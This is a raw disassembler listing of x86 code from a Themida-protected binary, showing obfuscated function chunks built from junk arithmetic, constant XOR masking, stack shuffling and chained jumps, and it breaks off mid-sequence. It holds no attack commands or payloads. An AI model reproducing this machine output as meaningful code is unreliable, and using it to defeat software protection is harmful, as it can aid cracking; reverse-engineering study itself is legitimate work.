; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A468 loc_55BCC5: ; CODE XREF: sub_56A468+10j xchg ebx, [esp+0] pop ecx push ebp mov ebp, 16A648Fh xor ebp, ecx xor ecx, ebp jmp loc_5638DB ; END OF FUNCTION CHUNK FOR sub_56A468 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB7D loc_55BCD8: ; CODE XREF: sub_56CB7D-329j pop esp sub edx, 712B4AEFh push edx xor [esp+1Ch+var_1C], 6409086Eh mov edi, [esp+1Ch+var_1C] add esp, 4 push ebx mov ebx, 6409086Eh xor edi, ebx pop ebx push [esp+18h+var_18] mov edx, [esp+1Ch+var_1C] jmp loc_560BA7 ; END OF FUNCTION CHUNK FOR sub_56CB7D ; --------------------------------------------------------------------------- loc_55BD01: ; CODE XREF: Themida_:005704D2j mov cl, 22h jmp loc_56E1B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C86A loc_55BD08: ; CODE XREF: sub_56C86A-10ADDj sub bl, al add bl, 26h pop eax movzx eax, al mov dx, [esp-4+arg_0] push 13B3h mov [esp+0], ebp sub esp, 4 push esp pop [esp+8+var_8] jmp loc_55B5FD ; END OF FUNCTION CHUNK FOR sub_56C86A ; --------------------------------------------------------------------------- loc_55BD29: ; CODE XREF: Themida_:00568C8Cj mov [esp], ebx push eax push ecx mov ecx, esp jmp loc_56291A ; --------------------------------------------------------------------------- loc_55BD35: ; CODE XREF: Themida_:0056AB8Dj xchg ebp, [esp] jmp loc_56BE95 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55BD3D: ; CODE XREF: sub_56755A-4F1Fj xor eax, 183B27F8h mov esi, eax pop eax mov eax, 2AAF4032h xor eax, esi pop esi jmp loc_564180 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55BD52: ; CODE XREF: Themida_:00568614j push 1DE4h mov [esp], edx push ebx jmp loc_565C57 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55BD60: ; CODE XREF: sub_56755A-65FBj add ebx, 459F2808h add ebx, ebp sub ebx, 459F2808h push [esp+12h+var_14+2] jmp loc_568E39 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EAA9 loc_55BD76: ; CODE XREF: sub_56EAA9-16BDj sub ebx, 58E575DFh jmp loc_55C7A6 ; END OF FUNCTION CHUNK FOR sub_56EAA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C86A loc_55BD81: ; CODE XREF: sub_56C86A-D3A7j sub bl, dl pop edx sub bl, 99h push eax mov al, 7Ch sub bl, 26h jmp loc_55BD08 ; END OF FUNCTION CHUNK FOR sub_56C86A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561ED8 loc_55BD92: ; CODE XREF: sub_561ED8+CBCCj mov [esp+0], ebx mov bh, 3Bh push eax mov ah, 0B6h add ah, 0FFh or ah, 0A1h neg ah push bx jmp loc_55C29F ; END OF FUNCTION CHUNK FOR sub_561ED8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565C4A loc_55BDA9: ; CODE XREF: sub_565C4A+5E7Dj not dword ptr [esp+0] mov ecx, [esp+0] jmp loc_56F56D ; END OF FUNCTION CHUNK FOR sub_565C4A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55BDB4: ; CODE XREF: sub_56755A+2905j mov ebx, [esp+16h+var_18+2] sub esp, 4 jmp loc_560878 ; --------------------------------------------------------------------------- loc_55BDC2: ; CODE XREF: sub_56755A-2AAEj mov ecx, 24FD1DA6h xor ecx, edx mov edx, [esp+1Ah+var_1C+2] jmp loc_566F70 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561ED8 loc_55BDD1: ; CODE XREF: sub_561ED8-5C37j add ah, bl pop bx sub bh, 0C0h sub bh, ah jmp loc_56714B ; END OF FUNCTION CHUNK FOR sub_561ED8 ; --------------------------------------------------------------------------- loc_55BDDF: ; CODE XREF: Themida_:00560FC3j push ebx mov ebx, 417E46E2h mov eax, 0BE81B922h add eax, ebx pop ebx sub ebp, 2AA36CABh sub ebp, 14F2125Ch add ebp, eax add ebp, 14F2125Ch add ebp, 2AA36CABh jmp loc_55E7DE ; --------------------------------------------------------------------------- loc_55BE0C: ; CODE XREF: Themida_:0056D755j shl ebx, 3 jmp loc_56FAAB ; --------------------------------------------------------------------------- loc_55BE14: ; CODE XREF: Themida_:00568CD4j mov [esp], ebp push 0D00h jmp loc_560B78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AE72 loc_55BE21: ; CODE XREF: sub_56AE72+3032j xor ebx, 28503628h add ebx, 93371DF3h or ecx, ebx pop ebx jmp loc_56F923 ; END OF FUNCTION CHUNK FOR sub_56AE72 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56971C loc_55BE35: ; CODE XREF: sub_56971C+11FEj shr ecx, 4 sub esp, 4 mov [esp+14h+var_14], edx mov edx, 39241CEh jmp loc_564CA0 ; END OF FUNCTION CHUNK FOR sub_56971C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55C719 loc_55BE48: ; CODE XREF: sub_55C719+132BBj push ecx pop eax pop ecx add [esp+0Ch+var_8], eax pop eax pop ecx push eax push ebx mov ebx, 6B9850BBh mov eax, ebx pop ebx shl eax, 3 add eax, 0A33D7A2Ch add ecx, 2B5C7101h push esi mov esi, 5C864565h sub ecx, esi pop esi add ecx, 26CA4B72h sub ecx, 28505ABCh add ecx, eax add ecx, 28505ABCh sub ecx, 26CA4B72h jmp loc_55F92E ; END OF FUNCTION CHUNK FOR sub_55C719 ; --------------------------------------------------------------------------- loc_55BE91: ; CODE XREF: Themida_:0055CDB2j add ecx, 2C622297h pop ebp add ecx, ebp sub ecx, 6C9B28CBh pop ebp jmp loc_56DDE8 ; --------------------------------------------------------------------------- lodsb xor al, bl push ebx push edx jmp loc_5676F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55BEB0: ; CODE XREF: sub_56755A-6203j mov ebx, ebp pop ebp xor [esp+16h+var_14+2], ebx pop ebx pop ebx push edi mov edi, 52C15F74h xor ebx, edi mov edi, [esp+12h+var_14+2] add esp, 4 mov ecx, [esp+0Eh+var_10+2] add esp, 4 jmp loc_563674 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_55CBBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D164 loc_55BEE1: ; CODE XREF: sub_56D164-7DFDj mov ebx, 4 jmp loc_5699D1 ; END OF FUNCTION CHUNK FOR sub_56D164 ; --------------------------------------------------------------------------- loc_55BEEB: ; CODE XREF: Themida_:0055D084j sub ebx, edi pop edi sub ebx, eax add ebx, 2146380Ah add ebx, 6A451AA2h movzx ax, byte ptr [eax] push small 1219h mov [esp], ax jmp loc_55ED5B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55BF0D: ; CODE XREF: sub_56755A-5F14j shr ebp, 4 push edx push eax push 5D286E57h pop eax jmp loc_55FC27 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55BF1D: ; CODE XREF: Themida_:005706D3j pop eax jmp loc_55D05D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55BF23: ; CODE XREF: sub_56755A+196Ej pop ebx and eax, ebp push [esp+0Eh+var_10+2] jmp loc_56640B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D5AE loc_55BF2E: ; CODE XREF: sub_56D5AE+6BDj add eax, 541C47B5h sub eax, 39333BE3h jmp loc_55B72B ; END OF FUNCTION CHUNK FOR sub_56D5AE ; --------------------------------------------------------------------------- lodsb push 1EA4h mov [esp], ebx jmp loc_56B8E5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568D4B loc_55BF4B: ; CODE XREF: sub_568D4B-B254j mov ecx, 4 add eax, ecx pop ecx sub esp, 4 jmp loc_568583 ; END OF FUNCTION CHUNK FOR sub_568D4B ; --------------------------------------------------------------------------- loc_55BF5E: ; CODE XREF: Themida_:00564CDBj and ebp, 468F2510h push edi jmp loc_561BBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569496 loc_55BF6A: ; CODE XREF: sub_569496+Aj pop eax jmp loc_564F26 ; END OF FUNCTION CHUNK FOR sub_569496 ; --------------------------------------------------------------------------- loc_55BF70: ; CODE XREF: Themida_:00564437j xor esi, [esp] pop esp add [esp], al pushf jmp loc_55B555 ; --------------------------------------------------------------------------- loc_55BF7D: ; CODE XREF: Themida_:005672CBj add ebx, 5D7A54BFh mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push 300Eh mov [esp], ecx mov ecx, 2 add ebx, ecx pop ecx jmp loc_560107 ; --------------------------------------------------------------------------- loc_55BFAC: ; CODE XREF: Themida_:00568DFAj shr edi, 3 shl edi, 4 and edi, 335470C5h shl edi, 8 xor edi, 225874D4h xor edi, 146CF4ABh add eax, edi jmp loc_563381 ; --------------------------------------------------------------------------- loc_55BFCE: ; CODE XREF: Themida_:0056CAA9j push 71E9h mov [esp], esi mov esi, 726924E3h xor eax, esi push dword ptr [esp] pop esi sub esp, 4 mov [esp], ebp jmp loc_55CF51 ; --------------------------------------------------------------------------- loc_55BFEF: ; CODE XREF: Themida_:0055E80Aj push 74C5h mov [esp], ebx jmp loc_567B46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55BFFC: ; CODE XREF: sub_56755A-35F5j sub ecx, 7EFE40D9h push eax mov eax, 4D8D0CBFh xor eax, 61FB6179h jmp loc_566B97 ; --------------------------------------------------------------------------- loc_55C012: ; CODE XREF: sub_56755A+89BAj add eax, esi pop esi jmp loc_561909 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55C01A: ; CODE XREF: Themida_:00568F6Dj add ecx, edi push eax mov eax, 52941284h jmp loc_55D5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E55E loc_55C027: ; CODE XREF: sub_56E55E-8DA8j and edi, ebx mov ebx, [esp+0Ch+var_C] push ebx push esp pop ebx add ebx, 4 jmp loc_55FDE2 ; END OF FUNCTION CHUNK FOR sub_56E55E ; --------------------------------------------------------------------------- loc_55C03A: ; CODE XREF: Themida_:0055EFEEj push ebp push 3366h jmp loc_5644E3 ; --------------------------------------------------------------------------- loc_55C045: ; CODE XREF: Themida_:005642C2j pop ebx push ecx mov ecx, 2AE90C49h shl ecx, 3 jmp loc_55E4F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560CAA loc_55C054: ; CODE XREF: sub_560CAA-29Aj sub edx, 108F5276h push esi mov esi, 50B53149h or edx, esi mov esi, [esp+8+var_8] add esp, 4 not edx push edx push ecx jmp loc_56B801 ; END OF FUNCTION CHUNK FOR sub_560CAA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_55C074: ; CODE XREF: sub_56E89A-35B9j pop dword ptr [ecx] xor dword ptr [ecx], 598322B0h jmp loc_55E9C6 ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55C081: ; CODE XREF: sub_56755A-BF62j push eax push edx mov dh, bh jmp loc_561820 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55DE37 loc_55C08A: ; CODE XREF: sub_55DE37+Ej pop dword ptr [esp+0] jmp loc_561928 ; END OF FUNCTION CHUNK FOR sub_55DE37 ; --------------------------------------------------------------------------- loc_55C092: ; CODE XREF: Themida_:00567059j sub edi, 3EAB378Dh sub ecx, edi pop edi push dword ptr [esp] pop esi push 19C5h mov [esp], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp shl dword ptr [esp], cl jmp loc_55B555 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55C0C7: ; CODE XREF: sub_56755A+487j add esp, 4 or esi, 47126FE6h push 0DB8h mov [esp+0Ch+var_C], eax sub esp, 4 mov [esp+10h+var_10], esi mov esi, 71C05D56h mov eax, 7FB6C0E8h sub eax, 4ED51164h sub eax, esi add eax, 4ED51164h pop esi jmp loc_56F647 ; --------------------------------------------------------------------------- loc_55C0FD: ; CODE XREF: sub_56755A-26BFj mov [esp+0Ch+var_C], ecx mov ecx, 5CB62515h jmp loc_568CAE ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55C10A: ; CODE XREF: Themida_:00564B07j push esp jmp loc_568860 ; --------------------------------------------------------------------------- loc_55C110: ; CODE XREF: Themida_:00563D24j mov esp, [esp] jmp loc_55DE24 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568470 loc_55C118: ; CODE XREF: sub_568470+4BFEj xchg ebx, [esp+0] mov esp, [esp+0] popa popf jmp nullsub_3 ; END OF FUNCTION CHUNK FOR sub_568470 ; --------------------------------------------------------------------------- loc_55C125: ; CODE XREF: Themida_:005626BCj sub esp, 4 mov [esp], edi push ebp push 4DF23CDh pop ebp or ebp, 4CF83D6Dh sub esp, 4 mov [esp], eax push edi jmp loc_56D07F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5615A9 loc_55C14A: ; CODE XREF: sub_5615A9+B4E2j xor dl, 62h sub al, dl pop edx sub al, bh push ecx jmp loc_5623DE ; END OF FUNCTION CHUNK FOR sub_5615A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CEE9 loc_55C158: ; CODE XREF: sub_56CEE9-C838j xor edx, 0FA54546h jmp loc_568E2E ; END OF FUNCTION CHUNK FOR sub_56CEE9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55C163: ; CODE XREF: sub_56755A-A593j pop ecx pop edx pop eax jmp sub_56D600 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56026A loc_55C16B: ; CODE XREF: sub_56026A+5E8Cj push dword ptr [esp+0] push [esp+4+var_4] jmp loc_55D3B0 ; END OF FUNCTION CHUNK FOR sub_56026A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55C176: ; CODE XREF: sub_56755A-BB53j add bh, al pop eax jmp loc_55F425 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E55E loc_55C17E: ; CODE XREF: sub_56E55E-1A74j shl ebx, 5 push edi jmp loc_56D54B ; END OF FUNCTION CHUNK FOR sub_56E55E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55C187: ; CODE XREF: sub_56755A-2E28j push 59EFh mov [esp+8+var_8], edx mov edx, 4 jmp loc_5654FD ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55C199: ; CODE XREF: Themida_:0056292Aj mov [esp], ecx jmp loc_566034 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55C1A1: ; CODE XREF: sub_56755A-54F6j pop edx pop edx shl ebp, 2 xor ebp, 8C67C78h and eax, ebp mov ebp, [esp+0] add esp, 4 or eax, eax jz sub_55DF57 push 18F5h jmp loc_56BA22 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56971C loc_55C1C6: ; CODE XREF: sub_56971C+4D27j mov [esp+4+var_4], esi jmp loc_56364E ; END OF FUNCTION CHUNK FOR sub_56971C ; --------------------------------------------------------------------------- push dword ptr fs:[edx] jmp loc_55B555 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55DA88 loc_55C1D6: ; CODE XREF: sub_55DA88+ABDj add eax, 4 push 5FB4h mov [esp+4+var_4], eax push dword ptr [esp+4] pop eax pop [esp+4+var_4] mov esp, [esp+0] shr ecx, 6 push ebx push 0CA1h mov [esp-4+arg_0], ecx mov ecx, 15CA5E23h add [esp-4+arg_4], 1E531324h sub [esp-4+arg_4], 72BA7B79h add [esp-4+arg_4], ecx add [esp-4+arg_4], 72BA7B79h push ecx push 1E531324h pop ecx sub [esp+arg_4], ecx pop ecx mov ecx, [esp-4+arg_0] push 2375h mov [esp+0], esi jmp loc_55BBFD ; END OF FUNCTION CHUNK FOR sub_55DA88 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55C235: ; CODE XREF: sub_56755A-EC3j pop edi push ecx jmp loc_562A74 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B812 loc_55C23C: ; CODE XREF: sub_56B812+Bj mov [esp+8+var_8], ebp push eax mov eax, 2CEA6A08h push eax add [esp+10h+var_10], 1A3B0097h mov ebp, [esp+10h+var_10] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+14h+var_14] jmp loc_56D580 ; END OF FUNCTION CHUNK FOR sub_56B812 ; --------------------------------------------------------------------------- loc_55C264: ; CODE XREF: Themida_:005610F1j jmp loc_55B555 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55C269: ; CODE XREF: sub_56755A-80F0j xor edi, ebx mov ebx, [esp+0] sub esp, 4 mov [esp+4+var_4], ebp mov ebp, esp jmp loc_563F6A ; --------------------------------------------------------------------------- loc_55C27B: ; CODE XREF: sub_56755A-21Fj add esi, edx pop edx jmp loc_55DF9D ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55C283: ; CODE XREF: Themida_:005633CCj mov [esp], edx mov edx, 3A0B68B8h add edx, 1A5D4987h dec edx not edx sub edx, 6E102AEAh jmp loc_56E483 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561ED8 loc_55C29F: ; CODE XREF: sub_561ED8-6134j mov bl, 32h jmp loc_55BDD1 ; END OF FUNCTION CHUNK FOR sub_561ED8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55BA18 loc_55C2A6: ; CODE XREF: sub_55BA18+5E03j push ecx push 3BD16A17h mov ecx, [esp+0Ch+var_C] add esp, 4 jmp loc_5699C8 ; END OF FUNCTION CHUNK FOR sub_55BA18 ; --------------------------------------------------------------------------- loc_55C2BA: ; CODE XREF: Themida_:0055F720j mov edi, 1D596ADEh add edi, 0E474FB73h jmp loc_5623FA ; --------------------------------------------------------------------------- loc_55C2CA: ; CODE XREF: Themida_:0056E9B3j push 6971h mov [esp], edx mov edx, 6E8407C0h and ebx, edx jmp loc_56F1FA ; --------------------------------------------------------------------------- loc_55C2DE: ; CODE XREF: Themida_:0056ACD8j mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], esi mov esi, 181E106Fh push ecx mov ecx, 181E106Bh xor esi, ecx pop ecx push edx mov edx, 76F9427Ch sub eax, edx mov edx, [esp] add esp, 4 add eax, esi add eax, 76F9427Ch pop esi add eax, 4 xchg eax, [esp] mov esp, [esp] jmp loc_55B555 ; --------------------------------------------------------------------------- loc_55C322: ; CODE XREF: Themida_:0056436Bj xor ecx, eax pop eax neg ecx xor ecx, 0FBFECBDFh jmp loc_56546D ; --------------------------------------------------------------------------- loc_55C332: ; CODE XREF: Themida_:0055D068j mov [esp], ebp mov ebp, 3B1E4F02h sub esp, 4 jmp loc_5693C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55C342: ; CODE XREF: sub_56755A-7938j sub esi, 1EA527ECh add esi, 2F185FAFh sub esi, edx sub esi, 2F185FAFh add esi, 1EA527ECh pop edx xchg esi, [esp-4+arg_0] pop esp mov [esp-8+arg_4], esi push 1FD8h mov [esp-4+arg_0], ebx push [esp-4+arg_0] mov esi, [esp+0] jmp loc_56B47E ; --------------------------------------------------------------------------- loc_55C377: ; CODE XREF: sub_56755A-1C79j xor ebx, [esp+0] pop esp sub esp, 4 mov [esp+0], ecx push edx push 24B0h jmp loc_55E986 ; --------------------------------------------------------------------------- loc_55C38C: ; CODE XREF: sub_56755A+2346j shl edi, 6 or edi, 70C446A7h or edi, 58F272FCh jmp sub_570668 ; --------------------------------------------------------------------------- loc_55C3A0: ; CODE XREF: sub_56755A+71C6j neg bl push ax mov ah, 0F4h jmp loc_55D803 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55C3AB: ; CODE XREF: Themida_:0056248Bj xchg edi, [esp] jmp loc_55C495 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A500 loc_55C3B3: ; CODE XREF: sub_56A500-D915j mov edi, [esp+0Ch+var_C] add esp, 4 sub esp, 4 jmp loc_55DD1C ; END OF FUNCTION CHUNK FOR sub_56A500 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55C3C4: ; CODE XREF: sub_56755A+89Cj add eax, edx mov edx, [esp+0Ah+var_C+2] add esp, 4 neg eax push ecx mov ecx, 0D6B0E9B9h push esi mov esi, 51160C7Fh jmp loc_5600BF ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55C3E2: ; CODE XREF: Themida_:00564011j mov esp, [esp] mov edx, [esp] add esp, 4 movzx eax, al push dword ptr [edi+eax*4] jmp loc_55D624 ; --------------------------------------------------------------------------- loc_55C3F6: ; CODE XREF: Themida_:005668BCj or edx, 2AB86D66h sub edx, 0B1CCDD25h jmp loc_56428E ; --------------------------------------------------------------------------- loc_55C407: ; CODE XREF: Themida_:00569B75j sub ebp, 54AC08B0h jmp loc_56CA90 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55C412: ; CODE XREF: sub_56755A+4A72j or bl, 1Bh sub esp, 2 mov word ptr [esp+12h+var_14+2], bx xchg al, byte ptr [esp+12h+var_14+2] not al push cx push ebx mov bh, al mov ch, bh pop ebx mov al, byte ptr [esp+14h+var_14+2] mov byte ptr [esp+14h+var_14+2], ch pop cx jmp loc_56C9C3 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55C438: ; CODE XREF: Themida_:0056C865j pop eax pop dword ptr [esp] jmp loc_56AAF1 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], ebp mov ebp, esp push ebx mov ebx, 4 add ebp, 5B12545Bh add ebp, ebx sub ebp, 5B12545Bh pop ebx push eax jmp loc_562F98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563616 loc_55C468: ; CODE XREF: sub_563616-6C2Dj mov ebp, 4 add esi, ebp mov ebp, [esp+10h+var_10] add esp, 4 jmp loc_55E4AA ; END OF FUNCTION CHUNK FOR sub_563616 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55C47A: ; CODE XREF: sub_56755A-9CD3j add ecx, 4B87248Eh not ecx shr ecx, 4 push eax jmp loc_56A455 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564E24 loc_55C48B: ; CODE XREF: sub_564E24-82CCj and eax, ecx mov ecx, [esp+0] jmp loc_5606FD ; END OF FUNCTION CHUNK FOR sub_564E24 ; --------------------------------------------------------------------------- loc_55C495: ; CODE XREF: Themida_:0055C3AEj pop esp sub eax, esi jmp loc_56730E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FDEF loc_55C49D: ; CODE XREF: sub_55FDEF+FBB8j sub ebx, esi push edi mov edi, 674E3CD9h jmp loc_5688F9 ; END OF FUNCTION CHUNK FOR sub_55FDEF ; --------------------------------------------------------------------------- loc_55C4AA: ; CODE XREF: Themida_:00564DD0j sub ebx, edx jmp loc_56E752 ; --------------------------------------------------------------------------- loc_55C4B1: ; CODE XREF: Themida_:0056743Ej add ebp, esi pop esi mov edx, [esp] add esp, 4 push edx mov edx, 4 add ebp, edx mov edx, [esp] add esp, 4 xchg ebp, [esp] mov esp, [esp] push eax mov eax, esp jmp loc_55FA29 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB7D loc_55C4DC: ; CODE XREF: sub_56CB7D-46B0j push 891h mov [esp+4+var_4], ebx push [esp+4+var_4] push [esp+8+var_8] mov eax, [esp+0Ch+var_C] jmp loc_560D76 ; END OF FUNCTION CHUNK FOR sub_56CB7D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CEE9 loc_55C4F2: ; CODE XREF: sub_56CEE9-B400j dec edx not edx push esi mov esi, 0A2FA9A3Fh xor edx, esi jmp loc_56EA00 ; END OF FUNCTION CHUNK FOR sub_56CEE9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55C502: ; CODE XREF: sub_56755A+4038j xor ah, byte ptr [esp+16h+var_18+2] xor byte ptr [esp+16h+var_18+2], ah jmp sub_569496 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- lodsw push small 6C99h mov [esp], si jmp loc_55CCE4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562F62 loc_55C51C: ; CODE XREF: sub_562F62+B7A3j mov [esp+0], edi mov edi, 12CC43C6h jmp sub_566504 ; END OF FUNCTION CHUNK FOR sub_562F62 ; --------------------------------------------------------------------------- loc_55C529: ; CODE XREF: Themida_:0056E3A3j push ecx jmp loc_56334F ; --------------------------------------------------------------------------- loc_55C52F: ; CODE XREF: Themida_:005660C6j add esp, 4 jmp loc_55F5A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560483 loc_55C53A: ; CODE XREF: sub_560483+7F25j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+0] pop esp add eax, 4 add eax, 4 sub esp, 4 mov [esp+0], eax push [esp+arg_0] pop eax pop dword ptr [esp+0] pop esp or edx, eax shl edx, 1 jmp loc_561E2F ; END OF FUNCTION CHUNK FOR sub_560483 ; --------------------------------------------------------------------------- loc_55C56C: ; CODE XREF: Themida_:0056CC5Fj push edi push esi jmp loc_55C9EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562F62 loc_55C573: ; CODE XREF: sub_562F62+2332j add edx, 3C5E1F12h add edx, edi sub edx, 3C5E1F12h push esi mov esi, 10127B5Ah add edx, esi pop esi push ecx push edi jmp loc_56CA40 ; END OF FUNCTION CHUNK FOR sub_562F62 ; --------------------------------------------------------------------------- loc_55C591: ; CODE XREF: Themida_:00561D93j jmp loc_55B555 ; --------------------------------------------------------------------------- loc_55C596: ; CODE XREF: Themida_:0056DF76j add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] sub esp, 4 mov [esp], ebp mov ebp, 1F0D5E96h xchg ebx, ebp not ebx xchg ebx, ebp inc ebp jmp loc_5697B5 ; --------------------------------------------------------------------------- loc_55C5C2: ; CODE XREF: Themida_:0056E266j mov [esp], ebp mov ebp, 78067BEAh add edx, ebp pop ebp add edx, 4B375057h add edx, eax push ecx mov ecx, 0DD26319h add ecx, 1 push edx jmp loc_560230 ; --------------------------------------------------------------------------- loc_55C5E7: ; CODE XREF: Themida_:00565E49j pop esp jmp loc_5646A1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55C5ED: ; CODE XREF: sub_56755A+B8Dj mov eax, 4CC54EF8h jmp loc_5612B8 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- lodsb xor al, bl push 76DAh mov [esp], edx push ebx mov bh, 0B2h mov dh, bh pop ebx push bx mov bl, 0A2h add al, bl pop bx add al, 56h push bx push eax mov al, 0ABh jmp loc_55C786 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55C61C: ; CODE XREF: sub_56755A+EC1j shr edx, 6 sub edx, 1 push ebx mov ebx, 747156D8h jmp loc_55DDD9 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop ecx jmp loc_55E87C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55C63C: ; CODE XREF: sub_56755A+3F60j sub [esp+1Ah+var_14+2], ebp pop ebp sub [esp+16h+var_14+2], esi add [esp+16h+var_14+2], 4CD40B34h jmp loc_56908D ; --------------------------------------------------------------------------- loc_55C652: ; CODE XREF: sub_56755A+7BF4j mov [esp+16h+var_18+2], ebp mov ebp, esp jmp loc_56AD7F ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55C65C: ; CODE XREF: Themida_:0056ECE8j push edx push esp pop edx add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebp jmp loc_567696 ; --------------------------------------------------------------------------- loc_55C674: ; CODE XREF: Themida_:0055B74Aj div ecx push 19D6h mov [esp], ecx push eax mov eax, esp add eax, 4 